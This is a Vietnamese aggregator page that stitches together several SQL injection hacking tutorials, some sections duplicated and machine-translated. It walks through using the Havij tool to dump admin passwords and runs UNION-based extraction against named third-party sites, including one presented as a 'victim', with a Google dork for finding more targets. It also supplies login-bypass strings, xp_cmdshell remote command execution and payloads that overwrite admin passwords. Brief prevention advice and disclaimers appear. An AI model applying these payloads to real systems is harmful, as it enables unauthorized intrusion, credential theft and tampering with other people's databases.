Top 16 # Hướng Dẫn Hack Web Bằng Sql Injection / 2023 Xem Nhiều Nhất, Mới Nhất 12/2022 # Top Trend | Karefresh.com

Hack Trang Web Bằng Cách Sử Dụng Havij Sql Injection / 2023

Website Hacking: Làm thế nào để Hack trang web bằng cách sử dụng Havij SQL Injection

Đã tôi đã viết rất nhiều bài viết trên trang web hacking trong đó tôi đã giải thích làm thế nào để tìm thấy trang web sql dễ bị tổn thương và làm thế nào để hack rằng cơ sở dữ liệu trang web vv, vào ngày hôm nay trong bài viết này tôi sẽ viết trên nhiều trang web hack hướng dẫn sử dụng Havij SQL Injection. Sử dụng Havij SQL Injection, bạn có thể dễ dàng hack trang web tên người dùng và mật khẩu.

Havji là một công cụ tiêm SQL. Nhưng có thêm kỹ năng tuyệt vời như tìm bảng quản trị, nứt băm. Bạn có thể sử dụng nó thay vì cách thông thường của SQL injection. Nó đặc biệt là cho người mới bắt đầu một chương trình uselful.

Bằng cách sử dụng công cụ Havij SQL Injection bạn sẽ nhận được dưới thông tin của trang web,

Đừng quên để đăng ký với nguồn cấp dữ liệu RSS của chúng tôi

Các bước để Hack trang web bằng cách sử dụng Havij SQL Injection

Bước 2: Chạy phần mềm Havij SQL Injection và sao chép và dán liên kết trang web dễ bị tổn thương như minh hoạ trong hình,

Tham khảo các bài viết trước đây của trang web hack để tìm trang web dễ bị tổn thương.

Bước 4: Sau đó, nó cho thấy một số thông điệp đó. Là cảnh báo về nó và phải hiển thị kiên nhẫn cho đôi khi tìm thấy nó vulernable và loại tiêm và nếu máy chủ db mysql và nó sẽ tìm thấy cơ sở dữ liệu tên. Sau đó sau khi nhận được cơ sở dữ liệu của nó là tên như xxxx_xxxx

Bước 5: Sau đó di chuyển đến một chiến dịch để tìm bảng bằng cách nhấp vào “bảng” như hình hiển thị. Bây giờ bấm “Nhận được bảng” sau đó chờ đợi một thời gian nếu cần thiết

Bước 6: Sau khi được thành lập các bảng, bạn có thể thấy sẽ có “người dùng” đặt đánh dấu vào nó và nhấp chuột vào “nhận được cột” tab như minh hoạ trong hình

Bước 7: Trong đó chỉ cần đặt đánh dấu tên người dùng và mật khẩu và nhấp vào “Nhận được dữ liệu”

Cuối cùng, bạn có bây giờ tên người dùng và mật khẩu của admin…

Đèo sẽ nhận được là md5, bạn có thể crack nó cũng sử dụng công cụ này như minh hoạ trong hình.

Hack Web Bị Lỗi Sql Injection Cơ Bản / 2023

Lưu ý: bài viết chỉ mang tính chất phục vụ cho học tập, tìm hiểu cách thức hoạt động để phòng tránh tốt hơn cho đồ án của bạn, mọi hành vi của các bạn chúng tôi sẽ không chịu trách nhiệm!

Bài viết thực hiện dựa trên trình duyệt Firefox

I. LÝ THUYẾT (để thao tác thành công, các bạn nên đọc kỹ phần thực hành)

Thêm vào cuối liên kết trên một trong các meta character đã nói ở trên, chẳng hạn ta thêm vào dấu nháy đơn: http://zerocoolhf.altervista.org/level1.php?id=1'

Thông báo lỗi từ mysql xuất hiện, như vậy trang web này đã bị dính lỗi SQL injection.

2. Xác định số lượng cột trong mệnh đề select

Union là từ khóa dùng để gộp kết quả của nhiều mệnh đề select do đó trong mỗi mệnh đề select đòi hỏi số lượng các trường đều phải bằng nhau và đều bằng số lượng các trường được select trong mệnh đề select ban đầu. Chúng ta sẽ sử dụng điều này để xác định số lượng cột của cở sở dữ liệu.

Cụ thể, chúng ta sẽ thực hiện thử dần bằng cách tăng dần số lượng cột trong mệnh đề select sau union (bắt đầu từ 1). Khi nào không thấy thông báo lỗi xuất hiện thì đó chính là số lượng cột cần tìm.

Một cách nhanh hơn là sử dụng ‘order by’. Từ khóa ‘order by’ được dùng để sắp xếp thứ tự cho các bản ghi thu được trong mệnh để select. Sau order by có thể là tên một cột để xác định rằng kết quả thu về sẽ được sắp xếp theo giá trị của cột đó (tăng dần hoặc giảm dần). Sau ‘order by’ cũng có thể là số thứ tự vị trí của cột đó. Nếu giá trị sau order lớn hơn số cột được select thì chúng ta sẽ thấy thông báo lỗi.

Quay trở lại ví dụ:

http://zerocoolhf.altervista.org/level1.php?id=1 order by 1-- - http://zerocoolhf.altervista.org/level1.php?id=1 order by 2-- - http://zerocoolhf.altervista.org/level1.php?id=1 order by 3-- - http://zerocoolhf.altervista.org/level1.php?id=1 order by 4-- -

Thông báo lỗi xuất hiện. Như vậy, ta xác định được số cột là 3.

3. Xác định thông tin

Để biết được tên bảng, tên cột, ta sử dụng đối tượng information_schema. Đối tượng này cung cấp các thông tin về tables, columns, views và procedures… của cơ sở dữ liệu.

Tiếp tục với ví dụ:

http://zerocoolhf.altervista.org/level1.php?id=-1 union select 1,2,3-- -

Lỗi trả về cho ta thấy có vẻ như ‘unio’ đã bị xóa mất. Thử lại với:

http://zerocoolhf.altervista.org/level1.php?id=-1 uniounion select 1,2,3-- -

Thành công. Ta sẽ thấy cột số 2 và 3 bị lỗi. Lấy phiên bản của hệ quản trị cơ sở dữ liệu và tên cơ sở dữ liệu:

http://zerocoolhf.altervista.org/level1.php?id=-1 uniounion select 1,version(),database()-- -

Như vậy tên cơ sở dữ liệu là my_zerocoolhf và phiên bản của hệ quản trị cơ sở dữ liệu là MySQL 5.1.71-community-log. Tiếp tục, lấy tên các bảng trong cơ sở dữ liệu:

http://zerocoolhf.altervista.org/level1.php?id=-1 uniounion select all 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -

Cơ sở dữ liệu có 2 bảng là auth và book. Chúng ta sẽ thử lấy nội dung các bản ghi trong bảng book. Trước hết xác định các trường của bảng book. Thực hiện:

http://zerocoolhf.altervista.org/level1.php?id=-1 uniounion select all 1,group_concat(column_name),3 from information_schema.columns where table_name=0x626f6f6b-- -

(0x626f6f6b là mã hex của tên bảng book, tương tự nếu muốn lấy tên các trường của bảng auth thì chỉ cần thay mã hex của auth vào vị trí của 0x626f6f6b)

Tên các trường: id, title, price, author. Bây giờ ta sẽ lấy nội dung các bản ghi trong cơ sở dữ liệu:

http://zerocoolhf.altervista.org/level1.php?id=-1 uniounion select all 1,group_concat(id,0x3a,title,0x3a,price,0x3a,author),3 from book-- -

(group_concat để nối nhiều giá trị với nhau. 0x3a là dấu “:”, để ngăn cách cho dễ nhìn)

Như vậy, ta có thể lấy được toàn bộ cơ sở dữ liệu của site bị lỗi SQL injection.

II. THỰC HÀNH

2. 1 cái đầu và những ngón tay =]]z~

Bây Giờ Tiến Hành Với Victim Nhé !

Victim : http://pscells.com ( Hoặc Có Thế Lên Google Gõ “inurl:index.php?id=” Để Dork tìm Site Bị Lỗi SQL )

Đi 1 Vòng Site Tìm Link Có Dạng ?id=

Chẳng hạn như link này : http://pscells.com/chitietsanpham.php?id=40

Tiếp Theo Kiểm Tra Lỗi Bằng Cách Thêm Dấu ‘ Vào Và Ta Đc Link Như Thế Này :

http://pscells.com/chitietsanpham.php?id=40 ‘

Nếu Site Có Lỗi Thì Nó Sẽ Hiện Như Thế này :

Vậy : 5 < x < 10

Bây h Dùng Lệnh UNION SELECT để khai thác nó Vậy ta sẽ dùng lệnh UNION SELECT với số cột là 8

Ta Sẽ Có Link :http://pscells.com/chitietsanpham.php?id=40 UNION SELECT 1,2,3,4,5,6,7,8 – –

Thay Null Vào ?id=40 Có Nghĩa Là Link Sẽ Thành :

http://pscells.com/chitietsanpham.php?id= null UNION SELECT 1,2,3,4,5,6,7,8 – –

Vậy Cột 6 Bị Lỗi Nhé Bây giờ ta khai thác với lệnh như sau:

http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database() – –

( Thay Thế group_concat(table_name) vào số cột bị lỗi mà ta đã tìm hồi nãy ( cột 6 ) , Thêm from information_schema.tables where table_schema=database() Để Tìm Ra Các Table Có Trong Database )

Và Sau Đó Ta Đc Các Table Của Database Như Hình :

http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database() – –

Thành

http://pscells.com/chitietsanpham. php?id=null UNION SELECT 1,2,3,4,5,group_concat(column_name),7,8 from information_schema.columns where table_name=0x7461696b686f616e – –

Ta sẽ được:

Đổi link ỡ 1 số chỗ :

http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(id,0x207c20,name,0x207c20,pass,0x207c20),7,8 from taikhoan – –

Xóa Hết Phần Sau Chừa Lại from Và Thêm Tên Table Mà Hồi Nãy Mình Khai Thác Như : taikhoan

Và Ta Sẽ Đc Như Hình :

ID: Admin Pass : @#123@#

Số 1 Là Số User troq site ^^

Thế là xong ! Tìm link admin và đăng nhập vào thôi ^_^ ^_^!!

Sql Injection Là Gì? Cách Phòng Chống Tấn Công Sql Injection / 2023

SQL Injection không còn là khái niệm quá mới, nhưng nó vẫn là một trong những kiểu tấn công mạng khá phổ biến. Bài viết này gồm 12 mục, đi từ khái niệm, các bước diễn ra SQL Injection với một ví dụ minh họa (trang web được dùng làm ví dụ chỉ là minh họa, không có thực) đến cách phòng chống tấn công SQL Injection để bạn đọc hiểu về cách thức tấn công này, từ đó có những biện pháp phòng ngừa, bảo vệ website và hệ thống của mình.

Lưu ý: Không thử tấn công website, hệ thống của cá nhân, tổ chức khác bằng phương pháp này, mọi hành vi như vậy đều là vi phạm pháp luật Việt Nam. Nếu bạn tìm thấy lỗ hổng bảo mật, hãy báo cho người quản trị website, hệ thống đó để họ khắc phục. Bài viết chỉ nhằm mục đích giúp bạn hiểu về kiểu tấn công SQL Injection và có những biện pháp phòng tránh cho ứng dụng web của mình.

1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution (thực thi từ xa), dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

Bài labs SQL Injection

2. Các bước tiến hành SQL Injection

2.1. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

2.2. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi’ or 1=1–

Login: hi' or 1=1-- Password: hi' or 1=1-- http://yoursite.com/index.asp?id=hi' or 1=1--

Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

Nếu thành công, thì có thể login vào mà không cần phải biết username và password

2.3. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http://yoursite.com/index.asp?category=food v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request(“category”) là ” và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food’ or 1=1–, biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, hãy thay “–” thành “#”

Ngoài ra, cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a

2.4. Thi hành lệnh từ xa bằng SQL Injection

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hãy thử dùng dấu nháy đôi (“) nếu dấu nháy đơn (‘) không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

2.5. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Chú ý: folder “” phải được share cho Everyone trước.

2.6. Nhận dữ liệu qua ‘database using ODBC error message‘

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. chúng tôi line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1“. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. chúng tôi line 5

Mẫu so sánh ‘%25login%25’ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login“.

2.7. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. chúng tôi line 5

Như vậy tên của column đầu tiên là “login_id“. Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. chúng tôi line 5

Làm tương tự như trên, có thể lấy được tên của các column còn lại như “password“, “details“. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. chúng tôi line 5

2.8. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. chúng tôi line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là “neo”. Hãy thử lấy password của “neo” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. chúng tôi line 5

2.9. Nhận các numeric string

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Thì khi đó chỉ nhận được thông báo lỗi ” Page Not Found“. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. chúng tôi line 5

2.10. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của “”, có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Hoặc nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

3. Ngăn chặn SQL Injection

Các tổ chức có thể tập trung vào những bước sau đây để bảo vệ mình khỏi những cuộc tấn công SQL Injection:

Không bao giờ được tin tưởng những input người dùng nhập vào: Dữ liệu luôn phải được xác thực trước khi sử dụng trong các câu lệnh SQL.

Các thủ tục được lưu trữ: Những thủ tục này có thể trừu tượng hóa các lệnh SQL và xem xét toàn bộ input như các tham số. Nhờ đó, nó không thể gây ảnh hưởng đến cú pháp lệnh SQL.

Các lệnh được chuẩn bị sẵn: Điều này bao gồm việc tạo truy vấn SQL như hành động đầu tiên và sau đó xử lý toàn bộ dữ liệu được gửi như những tham số.

Những cụm từ thông dụng: Những cụm từ này được sử dụng để phát hiện mã độc và loại bỏ nó trước khi câu lệnh SQL được thực hiện.

Thông báo lỗi đúng: Thông báo lỗi phải tuyệt đối tránh tiết lộ những thông tin/chi tiết nhạy cảm và vị trí xảy ra lỗi trên thông báo lỗi.

Giới hạn quyền truy cập của người dùng đối với cơ sở dữ liệu: Chỉ những tài khoản có quyền truy cập theo yêu cầu mới được kết nối với cơ sở dữ liệu. Điều này có thể giúp giảm thiểu những lệnh SQL được thực thi tự động trên server.

Hãy loại bỏ các kí tự meta như ‘”/; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ:

input do người dùng đệ trình

Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure trong database mà không dùng như:

xp_cmdshell

Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong chúng tôi có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong chúng tôi là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.

4. Tài liệu thao khảo

1.How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6 2.Great article on gathering information from ODBC error messages http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc 3.A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml 4.Senseport's article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm 5.Khác: http://www.digitaloffense.net/warga.../IOWargames.ppt http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6 http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

Sưu tầm trên Internet từ bài được dịch từ bài viết gốc ” SQL Injection Walkthrough” của xfocus.net

Tấn Công Kiểu Sql Injection Và Các Phòng Chống Trong Asp.net / 2023

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password

1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

2. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

3. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--

Login: hi' or 1=1--

Password: hi' or 1=1--

http://yoursite.com/index.asp?id=hi' or 1=1--

Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

Nếu thành công, thì có thể login vào mà không cần phải biết username và password

4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http://yoursite.com/index.asp?category=food

Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"

Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

5. Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Chú ý: folder "share" phải được share cho Everyone trước.

7. Nhận dữ liệu qua 'database using ODBC error message'

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

8. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5

Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5

